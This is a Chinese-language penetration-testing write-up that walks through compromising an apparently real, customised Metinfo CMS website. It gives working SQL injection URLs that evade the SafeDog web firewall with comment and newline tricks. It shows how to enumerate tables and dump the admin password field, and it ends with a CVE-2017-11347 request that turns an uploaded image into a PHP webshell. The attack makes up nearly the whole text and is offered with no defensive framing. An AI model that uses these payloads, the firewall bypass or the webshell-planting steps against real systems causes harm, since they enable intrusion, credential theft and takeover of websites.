网站信息
1 | Metinfo CMS二次开发 |
正如上述所说,该站点是二次开发的,没有对传入的参数进行过滤而导致注入漏洞。以下是Getshell过程:
Bypass
之前有发过如何Bypass安全狗的文章,这里就用其payload进行绕过。and
和order by
判断就略过了,直接套用就行。接下来查看显位
显位
1 | http://hone.cool/x.php?id=1 and /*!1=2*/ union /*|--|*/--+%0aselect 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 --+ |
显位:2和14
数据库名
1 | http://hone.cool/x.php?id=1 and /*!1=2*/ union /*|--|*/--+%0aselect 1,database(%23%0a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 --+ |
查询表名
1 | http://hone.cool/x.php?id=1 and /*!1=2*/ union /*|--|*/--+%0aselect 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 from information_schema.tables where table_schema=库名的hex值 --+ |
被安全狗拦截了,经过测试发现,该拦截发生在table_schema与库名hex值之间,即table_schema=0x110120119(拦截),这里用limit的方式逐个读取表名。在此之前可能会有个疑问:CMS是Metinfo,那么读取met_admin_table表就有管理员账密了,为何还要多此一举?原因很简单,该站是二次开发的,把表名给改了,实际情况也是如此,读取met_admin_table显示不存在。
于是写了个脚本,循环limit300次,设置访问间隔,以免被BANIP,并判断页面是否存在admin
字样,如果有就把该链接保存下来。
没过多久结果就跑出来了:1
http://hone.cool/x.php?id=1 and /*!1=2*/ union /*|--|*/--+%0aselect 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 from /*|--|*/--+%0ainformation_schema.tables limit 225,1 --+
表名:xx_admin_table
查询字段
1 | http://hone.cool/x.php?id=1 and /*!1=2*/ union /*|--|*/--+%0aselect 1,admin_pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 from /*|--|*/--+%0a xx_admin_table--+ |
Getshell
解开密码,登入后台
后台有个添加白名单功能,将php后缀添加进去
然后找一个上传的地方将一句话上传
报错:上传图片上传临时文件夹(upload_tmp_dir)不可写或者域名/后台文件夹/include/uploadify.php没有访问权限。
查了一下,造成错误的原因可能是php版本的问题,先不管了。
该后台还有一个数据库备份的功能
可以上传zip文件,该cms会把上传的zip文件自动解压。
因此通过这个特性,把免杀的一句话打包成zip文件,上传即可getshell,结果还是报错了:
报错的原因是该目录没权限,头疼,一时间没有Getshell的点。在后台继续找,发现可以备份网站
把备份下载回来说不定会有前人留下的shell,二话不说直接用D盾扫
看来运气不好,前人留下的只是图片马,没法利用
通过备份文件可知版本号:Metinfo 5.2.7
老版本,有后台权限用CVE-2017-11347可秒,将内容为<?php phpinfo()改名成x.jpg,将图片上传后得到一个路径,例如:../upload/201812/thumb/1512051440.jpg
然后访问
http://hone.cool/admin/app/physical/physical.php?action=op&op=3&valphy=test|vuln/test1.php&address=../upload/201812/thumb/1512051440.jpg
访问后,会在vuln目录下将jpg文件生成php文件
利用该方式将过狗的一句话改名为x.jpg,即可Getshell